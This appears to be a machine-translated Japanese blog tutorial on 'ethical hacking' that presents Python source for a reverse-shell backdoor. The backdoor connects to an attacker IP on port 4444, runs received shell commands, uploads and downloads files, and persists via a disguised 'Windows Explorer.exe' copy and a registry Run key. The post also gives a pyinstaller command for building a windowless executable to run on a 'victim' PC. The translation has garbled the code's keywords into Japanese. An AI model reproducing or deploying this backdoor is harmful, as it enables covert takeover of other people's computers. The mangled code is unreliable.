Pythonの倫理的ハッキング - 永続性(2)

become_persistent機能を追加することによって、Pythonコードを磨きます。

!は/ usr / binに/のenv Pythonの
輸入JSON
 輸入ソケット
 輸入サブプロセス
 のインポートのOS
 インポートbase64で
 輸入のsys
 インポートshutil


クラスバックドア:
     デフ __init__ (自己、IP、ポート):
        self.become_persistent()
        self.connection = socket.socket、(はsocket.AF_INET、socket.SOCK_STREAM)
        self.connection.connect((IP、ポート))

    デフbecome_persistent(自己):
        evil_file_location =はos.environ [ " APPDATA " ] + " \\ WindowsのExplorer.exeの" 
        もし ないos.path.exists(evil_file_location):
            shutil.copyfile(sys.executable、evil_file_location)
            subprocess.call(' REG HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Runを/ Vテスト/トンのREG_SZ / Dを追加" ' + evil_file_location + ' " '、シェル= 真)

    デフreliable_send(自己、データ):
        json_data = json.dumps(データ).encode()
        self.connection.send(json_data)

    デフreliable_receive(自己):
        json_data = "" 
        しばらく真:
             試してください
                json_data = json_data + self.connection.recv(1024 ).decode()
                 の戻りjson.loads(json_data)
             を除くとValueError:
                 継続

    デフchange_working_directory_to(自己、パス):
        os.chdir(パス)
        リターン [+]に作業ディレクトリを変更する +のパス

    デフexecute_system_command(自己、コマンド):
        DEVNULL =オープン(os.devnull、" WB " のリターン subprocess.check_output(コマンド、シェル= Trueの場合、標準エラー出力= DEVNULL、STDIN = DEVNULL)

    デフREAD_FILE(自己、パス):
        オープン(パス、と" RB " のファイルとして):
             リターンbase64.b64encode(file.read())

    デフWRITE_FILE(自己、パス、コンテンツ):
        オープンと(パス、WB )ファイルとして:
            file.write(base64.b64decode(コンテンツ))
            リターン " [+]成功したアップロードします。"

    デフ(自己)を実行します。
         一方、真:
            コマンド = self.reliable_receive()

            試してくださいもしコマンド[0] == " 終了" 
                    self.connection.close()
                    sys.exit()
                elifコマンド[0] == " CD "   LEN(コマンド)> 1 
                    command_result = self.change_working_directory_to(コマンド[1 ])
                 ELIFのコマンド[0] == " アップロード" 
                    command_result = self.write_file(コマンド[1]、コマンド[2 ])
                 ELIFのコマンド[0] == " ダウンロード" 
                    command_result = self.read_file(コマンド[1 ])(デコード)。
                 
                    command_result = self.execute_system_command(コマンド).decode()
             を除く例外:
                command_result = " [ - ]コマンド実行中にエラーが発生しました。"

            self.reliable_send(command_result)


してみてください
    my_backdoor =バックドア(" 10.0.0.43 "、4444 
    my_backdoor.run()
除く例外:
    sys.exit()

Windows実行ファイルに変換します。

ワイン/root/.wine/drive_c/Program \ファイル\ \(のx86 \)/ Python37- 32 /Scripts/pyinstaller.exe reverse_backdoor.py --onefile --noconsole

 

被害者のWindows 10 PC上のreverse_backdoorファイルを実行します。

 

 

 

 

 

 

 被害者のWindows PCと自動的に確立された通信を再開しました。

 

おすすめ

転載: www.cnblogs.com/keepmoving1113/p/11665784.html